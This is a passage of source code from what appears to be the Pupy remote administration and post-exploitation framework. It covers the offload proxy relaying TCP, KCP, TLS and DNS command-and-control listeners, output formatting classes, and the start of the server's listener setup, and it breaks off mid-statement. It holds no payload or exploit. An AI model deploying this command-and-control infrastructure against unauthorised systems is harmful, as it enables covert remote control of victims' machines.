         if self.rec == 'ttyrec':\n                log = open(log, 'w+b')\n                unicode = False\n            else:\n                log = open(log, 'w+')\n                unicode = True\n\n            self.stdout = Log(\n                self.stdout,\n                log,\n                self.iogroup.consize,\n                rec=self.rec,\n                command=self.get_name() + ' ' + ' '.join(\n                    args.original_cmdline\n                ),\n                unicode=unicode,\n                stream=self.io != REQUIRE_NOTHING\n            )\n\n    @property\n    def config(self):\n        try:\n            return self.job.pupsrv.config\n        except:\n            return PupyConfig()\n\n    @classmethod\n    def get_name(cls):\n        return cls.__module__\n\n    def import_dependencies(self):\n        if type(self.dependencies) == dict:\n            dependencies = self.dependencies.get(self.client.platform, []) + (\n                self.dependencies.get('posix', [])\n                if self.client.is_posix() else []\n            ) + self.dependencies.get('all', [])\n        else:\n            dependencies = self.dependencies\n\n        if self.client:\n            self.client.load_package(dependencies, new_deps=self.new_deps)\n\n    def clean_dependencies(self):\n        for d in self.new_deps:\n            try:\n                self.client.unload_package(d)\n            except Exception as e:\n                logger.exception('Dependency unloading failed: %s', e)\n\n    def start_webplugin(self):\n        if not self.client.pupsrv.start_webserver():\n            return None\n        else:\n            return self.client.pupsrv.pupweb.start_webplugin('rdesktop', self.web_handlers)\n\n    @classmethod\n    def is_compatible_with(cls, client):\n        if 'all' in cls.compatible_systems or len(cls.compatible_systems) == 0:\n            return True\n        elif 'android' in cls.compatible_systems and client.is_android():\n            return True\n        elif 'windows' in cls.compatible_systems and client.is_windows():\n            return True\n        elif 'linux' in cls.compatible_systems and client.is_linux():\n            return True\n        elif 'solaris' in cls.compatible_systems and client.is_solaris():\n            return True\n        elif ('darwin' in cls.compatible_systems or 'osx' in cls.compatible_systems) and client.is_darwin():\n            return True\n        elif 'unix' in cls.compatible_systems and client.is_unix():\n            return True\n        elif 'posix'in cls.compatible_systems and client.is_posix():\n            return True\n\n        return False\n\n    def is_compatible(self):\n        \"\"\" override this method to define if the script is compatible with the givent client. The first value of the returned tuple is True if the module is compatible with the client and the second is a string explaining why in case of incompatibility\"\"\"\n        if not self.is_compatible_with(self.client):\n            return (False, 'This module currently only support the following systems: %s'%(\n            ','.join(self.compatible_systems)))\n        else:\n            return True, ''\n\n    def is_daemon(self):\n        return self.daemon\n\n    def stop_daemon(self):\n        \"\"\" override this method to define how to stop your module if the module is a deamon or is launch as a job \"\"\"\n        pass\n\n    def run(self, args):\n        \"\"\"\n            the parameter args is an object as returned by the parse_args() method from argparse. You can define your arguments options in the init_argparse() method\n            The run method does not return any argument. You can raise PupyModuleError in case of error\n            NOTICE: DO NOT use print in this function, always use self.rawlog, self.log, self.error and self.warning instead\n        \"\"\"\n        raise NotImplementedError(\"PupyModule's run method has not been implemented !\")\n\n    def encode(self, msg):\n        if isinstance(msg, bytes):\n            return msg.decode(DEFAULT_MULTIBYTE_CP, errors=\"replace\")\n        elif isinstance(msg, (Text, basestring)):\n            return msg\n        else:\n            return deep_as_bytes(msg)\n\n    def _message(self, msg):\n        if self.io in (REQUIRE_REPL, REQUIRE_TERMINAL):\n            msg = self.iogroup.as_bytes(msg)\n\n        self.stdout.write(msg)\n\n        if self.io != REQUIRE_NOTHING:\n            self.stdout.write(self.iogroup.as_bytes(NewLine()))\n\n    def rawlog(self, msg):\n        \"\"\" log data to the module stdout \"\"\"\n        self._message(self.encode(msg))\n\n    def log(self, msg):\n        self._message(self.encode(msg))\n\n    def error(self, msg, extended=False):\n        self._message(self.encode(Error(msg)))\n\n    def warning(self, msg):\n        self._message(self.encode(Warn(msg)))\n\n    def success(self, msg):\n        self._message(self.encode(Success(msg)))\n\n    def info(self, msg):\n        self._message(self.encode(Info(msg)))\n\n    def newline(self, lines=1):\n        self._message(NewLine(lines))\n\n    def table(\n        self, data, header=None, caption=None,\n            truncate=False, legend=True, vspace=0):\n\n        data = Table(data, header, caption, legend, vspace)\n        if truncate:\n            data = TruncateToTerm(data)\n\n        self._message(data)\n\n    def closeio(self):\n        if isinstance(self.stdout, Log):\n            self.stdout.close()\n\n        self.iogroup.close()\n\n\ndef config(**kwargs):\n    for option in ['compat', 'compatibilities', 'compatibility', 'tags']:\n        if option in kwargs:\n            if type(kwargs[option]) != list:\n                kwargs[option] = [kwargs[option]]\n\n    def class_rebuilder(klass):\n        klass.tags = kwargs.get('tags', klass.tags)\n        klass.category = kwargs.get('category', kwargs.get('cat', klass.category))\n        klass.compatible_systems = kwargs.get(\n            'compatibilities',\n            kwargs.get('compatibility',\n                       kwargs.get('compat',klass.compatible_systems)))\n        klass.daemon = kwargs.get('daemon', klass.daemon)\n\n        return klass\n\n    for k in kwargs:\n        if k not in ['tags', 'category', 'cat', 'compatibilities', 'compatibility', 'compat', 'daemon']:\n            logger.warning(\"Unknown argument \\\"%s\\\" to @config context manager\"%k)\n\n    return class_rebuilder\n"
  },
  {
    "path": "pupy/pupylib/PupyOffload.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport umsgpack\nimport threading\nimport socket\nimport struct\nimport logging\nimport time\nimport errno\nimport ssl\n\nfrom pupy.network.lib import socks\nfrom dnslib import QTYPE\n\nif sys.version_info.major > 2:\n    from urllib.parse import urlparse\nelse:\n    from urlparse import urlparse\n\ntry:\n    from . import getLogger\n    logger = getLogger('pproxy')\nexcept:\n    logger = logging.getLogger('pproxy')\n\nKCP_MTU = 1400 - (24 + 5)\n\nCOMMON_EXCEPTIONS = (\n    errno.ECONNREFUSED, errno.ECONNRESET,\n    errno.EPIPE, errno.EBADF,\n    errno.ETIMEDOUT, errno.EHOSTUNREACH,\n    errno.ENETUNREACH, errno.EHOSTDOWN\n)\n\nREQUEST_INFO = 0\nREQUEST_DNS_LISTENER = 1\nREQUEST_TCP_LISTENER = 2\nREQUEST_KCP_LISTENER = 3\nREQUEST_TLS_LISTENER = 4\n\n\nclass OffloadProxyCommonError(Exception):\n    pass\n\n\nclass MsgPackMessages(object):\n    def __init__(self, conn):\n        self._conn = conn\n\n    def recv(self):\n        datalen_b = self._conn.recv(4)\n        if datalen_b == '':\n            raise EOFError\n\n        datalen, = struct.unpack('>I', datalen_b)\n        data = self._conn.recv(datalen)\n        if data == '':\n            raise EOFError\n\n        return umsgpack.loads(data)\n\n    def send(self, msg):\n        data = umsgpack.dumps(msg)\n        datalen = len(data)\n        datalen_b = struct.pack('>I', datalen)\n        self._conn.sendall(datalen_b + data)\n\n\nclass PupyOffloadDNS(threading.Thread):\n    QTYPE = QTYPE.reverse\n\n    def __init__(self, manager, handler, domain):\n        threading.Thread.__init__(self)\n        self.daemon = True\n        self.active = True\n        self.manager = manager\n        self.handler = handler\n        self.domain = domain\n        self._conn = None\n\n        self.cleaner = threading.Thread(target=handler.cleanup)\n        self.cleaner.daemon = True\n\n    def run(self):\n        self.cleaner.start()\n\n        while self.active:\n            try:\n                self._serve()\n\n            except (socks.GeneralProxyError, EOFError):\n                logger.error('DNS: Lost connection (EOF)')\n                time.sleep(1)\n                continue\n\n            except (socket.error, OSError) as e:\n                if e.errno in COMMON_EXCEPTIONS:\n                    logger.error('DNS: Lost connection (refused)')\n                    time.sleep(5)\n                    continue\n\n                logger.exception('DNS: Network: %s', e)\n                self.active = False\n\n            except Exception as e:\n                logger.exception('DNS: %s', e)\n                self.active = False\n\n    def _serve(self):\n        self._conn = self.manager.request(REQUEST_DNS_LISTENER, self.domain)\n        conn = MsgPackMessages(self._conn)\n        while self.active:\n            request = conn.recv()\n            if not request:\n                logger.warning('DNS: Recieved empty request. Shutdown')\n                self.stop()\n                break\n\n            now = time.time()\n\n            qtype, qname = request.split(':', 1)\n            qtype = PupyOffloadDNS.QTYPE[qtype]\n\n            response = self.handler.process(qtype, qname)\n            if not response:\n                response = []\n\n            used = time.time() - now\n\n            if used > 1:\n                logger.warning('DNS: Slow processing speed (%s)s', used)\n\n            conn.send(response)\n\n    def stop(self):\n        self.active = False\n\n        if self._conn:\n            self._conn.close()\n            self._conn = None\n\n        if self.handler:\n            self.handler.finished.set()\n\n\nclass PupyOffloadSocket(object):\n    def __init__(self, sock, lhost, lport, rhost, rport):\n        self._sock = sock\n        self._laddr = (lhost, lport)\n        self._raddr = (rhost, rport)\n\n    def getsockname(self):\n        return self._laddr\n\n    def getpeername(self):\n        return self._raddr\n\n    def __getattr__(self, attr):\n        if attr in self.__dict__:\n            return getattr(self, attr)\n        return getattr(self._sock, attr)\n\n\nclass PupyOffloadAcceptor(object):\n    def __init__(self, manager, proto, port=None, extra={}, mtu=0):\n        self._manager = manager\n        self._proto = proto\n        self._host = None\n        self._port = port\n        self._conn = None\n        self._extra = extra\n        self._mtu = mtu\n        self.active = True\n\n    def bind(self, addr):\n        self._host, self._port = addr\n\n    def listen(self, cnt):\n        pass\n\n    def settimeout(self, **args):\n        pass\n\n    def shutdown(self, arg):\n        self.close()\n\n    def close(self, **args):\n        self.active = False\n        if self._conn:\n            self._conn.close()\n            self._conn = None\n\n    def accept(self):\n        while self.active:\n            try:\n                self._conn = self._manager.request(\n                    self._proto, self._port, mtu=self._mtu\n                )\n\n                m = MsgPackMessages(self._conn)\n\n                while True:\n                    message = m.recv()\n                    if message.get('keepalive', None):\n                        logger.debug('KeepAlive: %s', message['keepalive'])\n                        m.send(message)\n                        continue\n                    elif message.get('extra', None):\n                        data = self._extra[message['data']]\n                        m.send(data)\n                        continue\n\n                    logger.debug('Send last keepalive')\n                    m.send({\n                        'keepalive': int(time.time()),\n                        'last': True\n                    })\n                    break\n\n                conninfo = message\n\n                return PupyOffloadSocket(\n                    self._conn,\n                    conninfo['lhost'], conninfo['lport'],\n                    conninfo['rhost'], conninfo['rport']\n                ), (conninfo['rhost'], conninfo['rport'])\n\n            except (socks.GeneralProxyError, socket.error, OSError) as e:\n                if e.errno in COMMON_EXCEPTIONS:\n                    logger.error('Acceptor (%s): Lost connection (refused)', self._port)\n                    time.sleep(5)\n                    continue\n                else:\n                    raise\n\n            except (EOFError, ssl.SSLEOFError):\n                logger.error('Acceptor (%s): Lost connection (EOF)', self._port)\n                time.sleep(1)\n                continue\n\n            except Exception as e:\n                logger.exception('Acceptor (%s): Exception: %s', self._port, e)\n                raise\n\n        raise EOFError('Socket closed')\n\n\nclass PupyOffloadManager(object):\n    def __init__(self, server, ca, key, crt, via):\n        if ':' in server:\n            if server.startswith('['):\n                ipv6_end = server.index(']')\n                host = server[1:ipv6_end]\n                rest = server[ipv6_end:]\n                if ':' in rest:\n                    _, port = rest.rsplit(':', 1)\n                else:\n                    raise OffloadProxyCommonError('Invalid server specification')\n            else:\n                host, port = server.rsplit(':', 1)\n\n            self._server = (host, int(port))\n\n        elif len(server) == 2:\n            self._server = server\n        else:\n            raise OffloadProxyCommonError('Invalid server specification')\n\n        self._ca = ca\n        self._key = key\n        self._crt = crt\n        self._external_ip = None\n        self._ctx = ssl.create_default_context(\n            purpose=ssl.Purpose.CLIENT_AUTH,\n            cafile=self._ca\n        )\n        self._ctx.load_cert_chain(self._crt, self._key)\n        self._ctx.set_alpn_protocols(['pp/1'])\n\n        if via:\n            if '://' not in via:\n                raise OffloadProxyCommonError('Proxy argument should be in URI form')\n            self._via = urlparse(via)\n        else:\n            self._via = None\n\n        c = self.request(REQUEST_INFO)\n\n        try:\n            m = MsgPackMessages(c)\n            self._external_ip = m.recv()['ip']\n\n        except Exception as e:\n            logger.exception('Communication failed: %s', e)\n            raise\n\n        finally:\n            c.close()\n\n    def dns(self, handler, domain):\n        return PupyOffloadDNS(self, handler, domain)\n\n    def tcp(self, port, extra={}):\n        return PupyOffloadAcceptor(self, REQUEST_TCP_LISTENER, port, extra)\n\n    def kcp(self, port, extra={}):\n        return PupyOffloadAcceptor(\n            self, REQUEST_KCP_LISTENER, port, extra, KCP_MTU\n        )\n\n    def ssl(self, port, extra={}):\n        return PupyOffloadAcceptor(self, REQUEST_TLS_LISTENER, port, extra)\n\n    @property\n    def external(self):\n        return self._external_ip\n\n    def request(self, conntype, bind='', timeout=0, mtu=0):\n        if self._via:\n            proxy = self._via.scheme.upper()\n            if proxy == 'SOCKS':\n                proxy = 'SOCKS5'\n\n            default_ports = {\n                'SOCKS5': 1080,\n                'SOCKS4': 1080,\n                'HTTP': 3128,\n            }\n\n            proxy_type = socks.PROXY_TYPES.get(proxy, 'SOCKS5')\n            proxy_addr = self._via.hostname\n            proxy_port = self._via.port or default_ports.get(proxy)\n            proxy_username = self._via.username or None\n            proxy_password = self._via.password or None\n\n            c = socks.create_connection(\n                self._server,\n                proxy_type, proxy_addr, proxy_port,\n                True, proxy_username, proxy_password)\n        else:\n            c = socket.create_connection(self._server)\n\n        c.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        c.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n\n        if all([hasattr(socket, x) for x in ('TCP_KEEPIDLE', 'TCP_KEEPINTVL', 'TCP_KEEPCNT')]):\n            c.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 1 * 60)\n            c.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 3  * 60)\n            c.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 5)\n\n        try:\n            c = self._ctx.wrap_socket(c)\n        except (socks.GeneralProxyError, EOFError, ssl.SSLError, socket.error):\n            raise EOFError('Failure during communication with offload server')\n\n        m = MsgPackMessages(c)\n        m.send({\n            'prot': conntype,\n            'bind': str(bind),\n            'timeout': timeout,\n            'mtu': mtu\n        })\n        return c\n"
  },
  {
    "path": "pupy/pupylib/PupyOutput.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n\nclass Hint(object):\n    __slots__ = ()\n\n\nclass Text(Hint):\n    __slots__ = ('data')\n\n    def __init__(self, data):\n        self.data = data\n\n    def __repr__(self):\n        return '<Hint({}): {}>'.format(\n            self.__class__.__name__,\n            repr(self.data))\n\n    def __str__(self):\n        raise NotImplementedError(\n            '__str__ is not implemented for class {}'.format(\n                self.__class__.__name__))\n\n\nclass Hex(Text):\n    __slots__ = ('colorize')\n\n    def __init__(self, data, colorize=False):\n        super(Hex, self).__init__(data)\n        self.colorize = colorize\n\n\nclass Table(Text):\n    __slots__ = ('headers', 'caption', 'legend', 'vspace')\n\n    def __init__(\n        self, data, headers=None, caption=None,\n            legend=True, vspace=0):\n        super(Table, self).__init__(data)\n        self.headers = headers\n        self.caption = caption\n        self.legend = legend\n        self.vspace = vspace\n\n\nclass List(Text):\n    __slots__ = ('caption', 'bullet', 'indent')\n\n    def __init__(self, data, bullet='+', indent=2, caption=None):\n        super(List, self).__init__(data)\n        self.data = data\n        self.bullet = bullet\n        self.caption = caption\n        self.indent = indent\n\n\nclass Stream(Text):\n    __slots__ = ()\n\n\nclass Line(Text):\n    __slots__ = ('dm')\n\n    def __init__(self, *data):\n        super(Line, self).__init__(data)\n        self.dm = ' '\n\n\nclass TruncateToTerm(Text):\n    __slots__ = ()\n\n\nclass Color(Text):\n    __slots__ = ('color')\n\n    def __init__(self, data, color):\n        super(Color, self).__init__(data)\n        self.color = color\n\n\nclass Title(Text):\n    __slots__ = ()\n\n\nclass MultiPart(Text):\n    __slots__ = ()\n\n\nclass NewLine(Text):\n    __slots__ = ()\n\n    def __init__(self, lines=1):\n        super(NewLine, self).__init__(lines)\n\n\nclass Log(Text):\n    __slots__ = ()\n\n\nclass Info(Text):\n    __slots__ = ()\n\n\nclass ServiceInfo(Text):\n    __slots__ = ()\n\n\nclass Warn(Text):\n    __slots__ = ()\n\n\nclass Error(Text):\n    __slots__ = ('header')\n\n    def __init__(self, error, header=None):\n        super(Error, self).__init__(error)\n        self.header = header\n\n\nclass Success(Text):\n    __slots__ = ()\n\n\nclass Section(Text):\n    __slots__ = ('header', 'level')\n\n    def __init__(self, header, data=None, level=0):\n        super(Section, self).__init__(data)\n        self.header = header\n        self.level = level\n\n\nclass Usage(Text):\n    __slots__ = ('module')\n\n    def __init__(self, module, data):\n        super(Usage, self).__init__(data)\n        self.module = module\n\n\nclass Pygment(Text):\n    __slots__ = ('lexer')\n\n    def __init__(self, lexer, data):\n        super(Pygment, self).__init__(data)\n        self.lexer = lexer\n\n\nclass Interact(Hint):\n    __slots__ = ()\n\n\nclass Indent(Text):\n    __slots__ = ('indent')\n\n    def __init__(self, data, indent=2):\n        super(Indent, self).__init__(data)\n        self.indent = indent\n\n\nclass Prompt(Interact):\n    __slots__ = ('request', 'hide')\n\n    def __init__(self, request, hide=False):\n        self.request = request\n        self.hide = hide\n\n\nclass Terminal(Hint):\n    __slots__ = ()\n"
  },
  {
    "path": "pupy/pupylib/PupyServer.py",
    "content": "# -*- coding: utf-8 -*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors\n# may be used to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n# THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom threading import Thread, Event, Lock\n\nimport imp\nimport sys\n\nfrom os import path, listdir, stat, unlink\nfrom itertools import count\n\nif sys.version_info.major > 2:\n    from itertools import filterfalse\n\n    basestring = str\n    long = int\n\nelse:\n    from itertools import ifilterfalse as filterfalse\n\nfrom netaddr import IPAddress\nfrom netaddr.core import AddrFormatError\nfrom random import randint\nfrom tempfile import NamedTemporaryFile\nfrom inspect import isclass\n\nimport socket\nimport errno\nimport traceback\n\nfrom pupy.pupylib.PupyErrors import PupyModuleError\nfrom pupy.pupylib.PupyErrors import PupyModuleDisabled, PupyModuleNotFound\nfrom pupy.pupylib.PupyCategories import PupyCategories\nfrom pupy.pupylib.PupyConfig import PupyConfig\nfrom pupy.pupylib.PupyService import PupyBindService\nfrom pupy.pupylib.PupyCompile import pupycompile\nfrom pupy.pupylib.PupyOutput import Error, Line, Color\nfrom pupy.pupylib.PupyModule import QA_STABLE, IgnoreModule, PupyModule\nfrom pupy.pupylib.PupyDnsCnc import PupyDnsCnc\nfrom pupy.pupylib.PupyTriggers import (\n    event, event_to_string, register_event_id, CUSTOM\n)\nfrom pupy.pupylib.PupyTriggers import ON_CONNECT, ON_DISCONNECT, ON_START, ON_EXIT\nfrom pupy.pupylib.PupyTriggers import RegistrationNotAllowed, UnregisteredEventId\nfrom pupy.pupylib.PupyWeb import PupyWebServer\nfrom pupy.pupylib.PupyOffload import PupyOffloadManager, OffloadProxyCommonError\n\nfrom pupy.pupylib import PupyService\nfrom pupy.pupylib import PupyClient\nfrom pupy.pupylib import Credentials\nfrom pupy.pupylib import ROOT\n\nfrom .utils.rpyc_utils import obtain\nfrom .utils.listener import get_listener_ip_with_local\n\nfrom pupy.network.conf import transports\nfrom pupy.network.transports.ssl.conf import PupySSLAuthenticator\nfrom pupy.network.lib.connection import PupyConnectionThread\nfrom pupy.network.lib.servers import PupyTCPServer\nfrom pupy.network.lib.streams.PupySocketStream import (\n    PupySocketStream, PupyUDPSocketStream\n)\nfrom pupy.network.lib.streams.PupyVirtualStream import PupyVirtualStream\n\nfrom pupy.network.lib.utils import parse_transports_args\nfrom pupy.network.lib.base import chain_transports\nfrom pupy.network.lib.transports.httpwrap import PupyHTTPWrapperServer\nfrom pupy.network.lib.igd import IGDClient, UPNPError\nfrom pupy.network.lib.streams.PupySocketStream import PupyChannel\nfrom pupy.network.lib.convcompat import reprb\n\nfrom pupy.triggers import Triggers\n\nfrom . import getLogger\n\nlogger = getLogger('server')\nblocks_logger = logger.getChild('whitelist')\n\n\nclass ListenerException(Exception):\n    pass\n\n\nclass PupyKCPSocketStream(PupySocketStream):\n    def __init__(self, *args, **kwargs):\n        PupySocketStream.__init__(self, *args, **kwargs)\n        self.KEEP_ALIVE_REQUIRED = 15\n\n\nclass Listener(Thread):\n    def __init__(\n        self, pupsrv, name, args, httpd=False, igd=False,\n            local=None, external=None, pproxy=None):\n\n        Thread.__init__(self)\n        self.daemon = True\n        self.name = 'Listener({})'.format(name)\n\n        self.igd = igd\n        self.server = None\n\n        self.name = name.lower().strip()\n        self.transport = transports[self.name]()\n        self.authenticator = self.transport.authenticator() if \\\n            self.transport.authenticator else None\n\n        self.pupsrv = pupsrv\n        self.config = pupsrv.config\n        self.httpd = httpd\n\n        # Where to connect\n        self.external = external\n        self.external_port = None\n        self.pproxy = pproxy\n\n        # Where to bind\n        self.address = local or ''\n        self.igd_mapping = False\n\n        # Is where to connect placed at our PC\n        self.local = True\n\n        if httpd and not self.transport.dgram:\n            self.transport.server_transport = chain_transports(\n                PupyHTTPWrapperServer.custom(server=self.pupsrv),\n                self.transport.server_transport\n            )\n\n        if args:\n            args = [x.strip() for x in args.split(' ', 1) if x]\n        else:\n            args = []\n\n        default_ipv6 = self.config.getboolean('pupyd', 'ipv6') or False\n\n        if not args:\n            self.port = randint(20000, 50000)\n            self.ipv6 = default_ipv6\n        else:\n            if ':' in args[0]:\n                ip, port = args[0].rsplit(':', 1)\n                try:\n                    if '=' in ip:\n                        extip, ip = ip.split('=', 1)\n                    else:\n                        extip = None\n\n                    address = IPAddress(ip)\n                    self.address = str(address)\n\n                    if extip:\n                        if extip in ('?', 'igd'):\n                            self.external = extip\n                        else:\n                            self.external = str(IPAddress(extip))\n\n                    elif self.address:\n                        self.external = self.address\n\n                    self.ipv6 = (address.version == 6) or default_ipv6\n                except Exception as e:\n                    raise ListenerException(\n                        'Invalid IP: {} ({})'.format(ip, e)\n                    )\n\n            else:\n                port = args[0]\n                self.ipv6 = default_ipv6\n\n        if self.pproxy:\n            self.external = self.pproxy.external\n\n        elif not self.external or self.external in ('?', 'igd'):\n            # If IGD enabled then we likely want to have mappings\n            # Why to have mappings if our external IP remains empty?\n            if self.igd and self.igd.available:\n                extip, self.local = get_listener_ip_with_local(\n                    external=True,\n                    config=pupsrv.config,\n                    igd=self.igd\n                )\n\n                self.external = str(IPAddress(extip))\n            elif self.address and self.address not in ('0.0.0.0', '::'):\n                self.external = self.address\n            else:\n                extip, self.local = get_listener_ip_with_local(\n                    config=pupsrv.config,\n                    igd=self.igd\n                )\n\n                try:\n                    self.external = str(IPAddress(extip))\n                except AddrFormatError:\n                    self.external = '127.0.0.1'\n\n        if '=' in port:\n            port = [x.strip() for x in port.split('=', 1)]\n            try:\n                self.external_port = int(port[0])\n            except ValueError:\n                raise ListenerException(\n                    \"Invalid external port: {}\".format(port[0])\n                )\n\n            try:\n                self.port = int(port[1])\n            except ValueError:\n                raise ListenerException(\n                    \"Invalid local port: {}\".format(port[1])\n                )\n        else:\n            try:\n                self.port = int(port)\n            except ValueError:\n                raise ListenerException(\n                    \"Invalid local port: {}\".format(port[1])\n                )\n\n            self.external_port = self.port\n\n        if self.local:\n            self.external_port = self.port\n\n        transport_kwargs = self.transport.server_transport_kwargs\n\n        if len(args) > 1:\n            opt_args = parse_transports_args(args[1], exit=False)\n        else:\n            opt_args = []\n\n        for val in opt_args:\n            val = val.lower()\n            if val in transport_kwargs:\n                transport_kwargs[val] = opt_args[val]\n            else:\n                logger.warning('Unknown transport argument: %s', val)\n\n        self.kwargs = transport_kwargs\n\n        try:\n            self.transport.parse_args(self.kwargs)\n        except Exception as e:\n            logger.exception(e)\n\n    def init(self):\n        method = None\n\n        stream = self.transport.stream\n        transport = self.transport.server_transport\n        server = self.transport.server\n        transport_kwargs = self.transport.server_transport_kwargs\n        ipv6 = self.ipv6\n        igd = self.igd\n        external = self.external\n        external_port = self.external_port\n        authenticator = self.authenticator\n\n        if self.pproxy:\n            if type(authenticator) == PupySSLAuthenticator:\n                extra = {\n                    'certs': {\n                        'ca': authenticator.castr,\n                        'cert': authenticator.certstr,\n                        'key': authenticator.keystr,\n                    }\n                }\n            else:\n                extra = {}\n\n            if stream == PupyUDPSocketStream:\n                stream = PupyKCPSocketStream\n                method = self.pproxy.kcp\n            elif type(authenticator) == PupySSLAuthenticator:\n                method = self.pproxy.ssl\n            elif stream == PupySocketStream:\n                method = self.pproxy.tcp\n\n            server = PupyTCPServer\n\n            authenticator = None\n            ipv6 = False\n            igd = None\n            self.port = 0\n\n        self.server = server(\n            PupyService,\n            port=self.port, hostname=self.address,\n            authenticator=authenticator,\n            stream=stream,\n            transport=transport,\n            transport_kwargs=transport_kwargs,\n            pupy_srv=self.pupsrv,\n            ipv6=ipv6,\n            igd=igd,\n            external=external,\n            external_port=external_port\n        )\n\n        if not (self.pproxy and method):\n            return\n\n        # Workaround..\n        self.server.listener.close()\n        self.server.listener = method(self.external_port, extra=extra)\n\n    def run(self):\n        try:\n            self.server.start()\n        except EOFError:\n            pass\n\n    def close(self):\n        if self.igd and self.igd_mapping:\n            try:\n                self.igd.DeletePortMapping(\n                    self.external_port, self.port)\n            except UPNPError as e:\n                logger.error(\n                    \"Couldn't delete IGD Mapping: {}\".format(e.description)\n                )\n            except Exception:\n                pass\n\n        if self.server:\n            self.server.close()\n\n    def __del__(self):\n        self.close()\n\n    def __str__(self):\n        if self.external:\n            external = self.external\n            if ':' in external:\n                external = '[' + external + ']'\n        else:\n            external = ''\n\n        if self.port == 0:\n            return '{}: pproxy:{}:{}'.format(\n                self.name, external, self.external_port\n            )\n\n        result = str(self.port)\n        if self.address:\n            result = '{}:{}'.format(\n                self.address if not self.ipv6 and ':' not in self.address\n                else '[{}]'.format(self.address),\n                self.port\n            )\n\n        if self.external and not self.local and self.external != self.address:\n            if not self.address:\n                result = '0.0.0.0:{}'.format(result)\n\n            result = 'Remote: {}:{} -> Local: {}'.format(\n                external, self.external_port, result\n            )\n\n        if self.kwargs:\n            result += ' ' + ' '.join(\n                '{}={}'.format(\n                    k, v if k != 'password' else '*'*len(v)\n                ) for k, v in self.kwargs.items())\n\n        return '{}: {}'.format(self.name, result)\n\n\nclass PupyServer(object):\n    SUFFIXES = tuple([\n        suffix for suffix, _, rtype in imp.get_suffixes()\n        if rtype == imp.PY_SOURCE\n    ])\n\n    def __init__(self, config, credentials):\n        self.httpd = None\n        self.pupweb = None\n        self.clients = []\n        self.jobs = {}\n        self.jobs_id = 1\n        self.clients_lock = Lock()\n        self._current_id = []\n        self._current_id_lock = Lock()\n        self.modules = {}\n        self._modules_stats = {}\n        self.served_content = {}\n\n        self.motd = {\n            'fail': [],\n            'ok': []\n        }\n\n        self.config = config or PupyConfig()\n        self.credentials = credentials or Credentials()\n\n        self.ipv6 = self.config.getboolean('pupyd', 'ipv6')\n        self.handler = None\n        self.handler_registered = Event()\n        self.triggers = Triggers()\n        self.categories = PupyCategories(self)\n        self.igd = None\n        self.finished = Event()\n        self.finishing = Event()\n\n        self.pproxy_listener = None\n\n        self._cleanups = []\n        self._singles = {}\n\n        pproxy = self.config.get('pproxy', 'address')\n        ca = self.config.get('pproxy', 'ca')\n        key = self.config.get('pproxy', 'key')\n        cert = self.config.get('pproxy', 'crt')\n        via = self.config.get('pproxy', 'via')\n\n        pproxy_listener_required = self.config.getboolean('pproxy', 'listener')\n        pproxy_dnscnc_required = self.config.getboolean('pproxy', 'dnscnc')\n\n        pproxy_dnscnc = None\n\n        if pproxy and ca and key and cert and (\n                pproxy_listener_required or pproxy_dnscnc_required):\n            try:\n                pproxy_manager = PupyOffloadManager(\n                    pproxy, ca, key, cert, via)\n\n                if pproxy_listener_required:\n                    self.pproxy_listener = pproxy_manager\n\n                if pproxy_dnscnc_required:\n                    pproxy_dnscnc = pproxy_manager\n\n                self.motd['ok'].append(\n                    'Offload Proxy: proxy={} external={}{}'.format(\n                        pproxy,\n                        pproxy_manager.external,\n                        ' via {}'.format(via) if via else ''))\n\n            except (socket.error, OffloadProxyCommonError) as e:\n                self.motd['fail'].append(\n                    'Offload proxy unavailable: {}'.format(e)\n                )\n\n            except Exception as e:\n                logger.exception(e)\n                self.motd['fail'].append(\n                    'Using Pupy Offload Proxy: Failed: {}'.format(e)\n                )\n\n        if self.config.getboolean('pupyd', 'httpd'):\n            self.httpd = True\n\n        if not (self.pproxy_listener and pproxy_dnscnc):\n            try:\n                try:\n                    igd_url = None\n                    igd_enabled = config.getboolean('pupyd', 'igd')\n                except ValueError:\n                    igd = config.get('pupyd', 'igd')\n                    if igd:\n                        igd_enabled = True\n                        